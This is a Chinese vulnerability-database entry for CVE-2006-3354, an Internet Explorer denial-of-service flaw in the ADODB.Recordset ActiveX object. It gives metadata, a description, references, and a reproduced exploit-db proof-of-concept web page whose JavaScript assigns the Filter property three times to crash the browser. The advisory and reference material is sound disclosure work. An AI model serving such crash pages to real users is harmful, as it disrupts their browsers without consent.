Microsoft Internet Explorer ADODB.Recordset空指针引用拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110562 漏洞类型 其他
发布时间 2006-07-03 更新时间 2006-07-20
CVE编号 CVE-2006-3354 CNNVD-ID CNNVD-200607-017
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/28145
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200607-017
|漏洞详情
MicrosoftInternetExplorer是微软发布的非常流行的WEB浏览器。InternetExplorer在处理ADODB.RecordsetActiveX对象时存在拒绝服务漏洞,远程攻击者可能利用此漏洞导致用户IE浏览器崩溃。ADODB.RecordsetActiveX对象的属性被三次赋与不同的值时会触发空指针引用问题,如果用户受骗访问了包含畸形ActiveX引用代码的恶意WEB页面的话就会导致IE拒绝服务。
|漏洞EXP
source: http://www.securityfocus.com/bid/18773/info

Microsoft Internet Explorer is prone to a denial-of-service condition when processing the 'ADODB.Recordset Filter Property' COM object. 

A successful attack may cause the browser to fail due to a null-pointer dereference.

# Microsoft Internet Explorer ADODB.Recordset Filter Property poc

<script language="JavaScript">
<!--

function SymError()
{
  return true;
}

window.onerror = SymError;

var SymRealWinOpen = window.open;

function SymWinOpen(url, name, attributes)
{
  return (new Object());
}

window.open = SymWinOpen;

//-->
</script>

<script>

// MoBB Demonstration
function Demo() {
	a = new ActiveXObject('ADODB.Recordset');
	try { a.Filter = "AAAA" } catch(e) { }
	try { a.Filter = "BBBB" } catch(e) { }
	try { a.Filter = 0x7ffffffe; } catch(e) { }
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>


</body></html>

<script language="JavaScript">
<!--
var SymRealOnLoad;
var SymRealOnUnload;

function SymOnUnload()
{
  window.open = SymWinOpen;
  if(SymRealOnUnload != null)
     SymRealOnUnload();
}

function SymOnLoad()
{
  if(SymRealOnLoad != null)
     SymRealOnLoad();
  window.open = SymRealWinOpen;
  SymRealOnUnload = window.onunload;
  window.onunload = SymOnUnload;
}

SymRealOnLoad = window.onload;
window.onload = SymOnLoad;

//-->
</script>
|参考资料

来源:XF
名称:ie-adodb-recordset-dos(27596)
链接:http://xforce.iss.net/xforce/xfdb/27596
来源:BID
名称:18773
链接:http://www.securityfocus.com/bid/18773
来源:OSVDB
名称:26834
链接:http://www.osvdb.org/26834
来源:MISC
链接:http://browserfun.blogspot.com/2006/07/mobb-1-adodbrecordset-filter-property.html